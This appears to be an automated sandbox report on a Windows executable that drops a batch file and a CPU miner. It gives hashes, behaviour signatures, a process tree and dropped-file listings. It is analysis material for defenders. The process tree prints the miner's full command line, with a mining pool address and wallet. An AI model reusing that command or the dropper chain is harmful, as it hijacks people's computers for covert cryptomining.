73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
307s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 07:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2600	b2e.exe
4116	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4116	cpuminer-sse2.exe
4116	cpuminer-sse2.exe
4116	cpuminer-sse2.exe
4116	cpuminer-sse2.exe
4116	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3476-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 2600	3476	batexe.exe	83
PID 3476 wrote to memory of 2600	3476	batexe.exe	83
PID 3476 wrote to memory of 2600	3476	batexe.exe	83
PID 2600 wrote to memory of 4160	2600	b2e.exe	84
PID 2600 wrote to memory of 4160	2600	b2e.exe	84
PID 2600 wrote to memory of 4160	2600	b2e.exe	84
PID 4160 wrote to memory of 4116	4160	cmd.exe	87
PID 4160 wrote to memory of 4116	4160	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95B8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4160
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe

Filesize
28.6MB

MD5
a0aeb53c8724d8adb6ee651584a0cd7c

SHA1
4eb1121f7d56570632c85472af98b509b5efa365

SHA256
48f618acd50753a2299c499f851bc514e4c904b4eccda83928bc6fb74d43a766

SHA512
538ca2b51aa1b288073261552572d5eace506e9d0ce1e51ce5ba6c0957d8f199457bf19ef64074dd03a333ecba59b35661f493a7e0c458ba9bc22b29a3731026

Download Submit
C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe

Filesize
13.4MB

MD5
7499a32900b317c2eaaed7121ab7aa1c

SHA1
42fa5bb4900b7669372aba9577f59dd80b8a0b22

SHA256
5a2f4eb151b0efaae48c5b57696b12803b86469215a80883ed6554be5ee1a7b2

SHA512
b2a2b7ccdb8b817e576cc005a187b3958c8cb445587700fad49301f92113097f76944b913344572f754af687168a62dd6fc1296122547378665b4bb10d0d4f9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\8C90.tmp\b2e.exe

Filesize
12.8MB

MD5
d6e1764b34d5a6d410a94d9354270327

SHA1
0d2454c98114c44afab14c69ddaeefa2896fbaf8

SHA256
a0f76159c7e5cf032ec94a894d46773b7937cdc7faef9d7d704e4a1bfe89a28f

SHA512
f69d0b496ae5667dc65dc13686f707b62663d5ce46146ac02f7f805c3a4893299eb70eb379d32ddcf14e5e6915e4bd03389a18c01ad94b9d0ccf3d7d62517140

Download Submit
C:\Users\Admin\AppData\Local\Temp\95B8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
b69b2b567106989129ddd1f281a2dbfc

SHA1
f920cdbab8e8093c517e2fe6f927532e18f4f230

SHA256
7cb5d6cab0fa416105b593d2b5a12d9f87fbd74ee6ab856b7771060dddcfe0cc

SHA512
9757224357a416619e6f265b7d470794aa4da7a0c33d0bd2809a9288dd629258357b3c799fcc2663a08bfcb254e00233b9c8d36f0c3188e95a1ffa1ee1334578

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.9MB

MD5
436b6ece0c1b1e244af1dbf84ae5f8b0

SHA1
49f26226f9dbb2d3879ca88f8d78ee44abd41a44

SHA256
6f31decca9ac224e2bafbf2300aa31583e4f32044bebd13d2cdd47611a8bd715

SHA512
8fe86db2e5201d95da6c7f7c2265582d42ffc67a30912edfa265cff2d298987b187baa750f157a03ebae163594b4d04c1397e44d8ec1cec3c32432cded29e1fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
302e7aa1dd30e39bf5a49f44a159ee5c

SHA1
eb9d6ec4be7ad7648b685ca5e250273c9e265334

SHA256
1353e8e03d95c4dd23def0b6db14fbec021a9e4ec34ab5e632f03fab6505c208

SHA512
4ddfec0d38196ca148c3bbcb36dfbdfa4aa224d3c12bb5e4f7b0f790520a2efa87922b5af558dc80cd6f558be61fe1a1b565a35dbbff0b512eb39d8ad40d42bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2600-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2600-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3476-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4116-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4116-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4116-45-0x000000005B2D0000-0x000000005B368000-memory.dmp

Filesize
608KB

Download
memory/4116-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4116-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download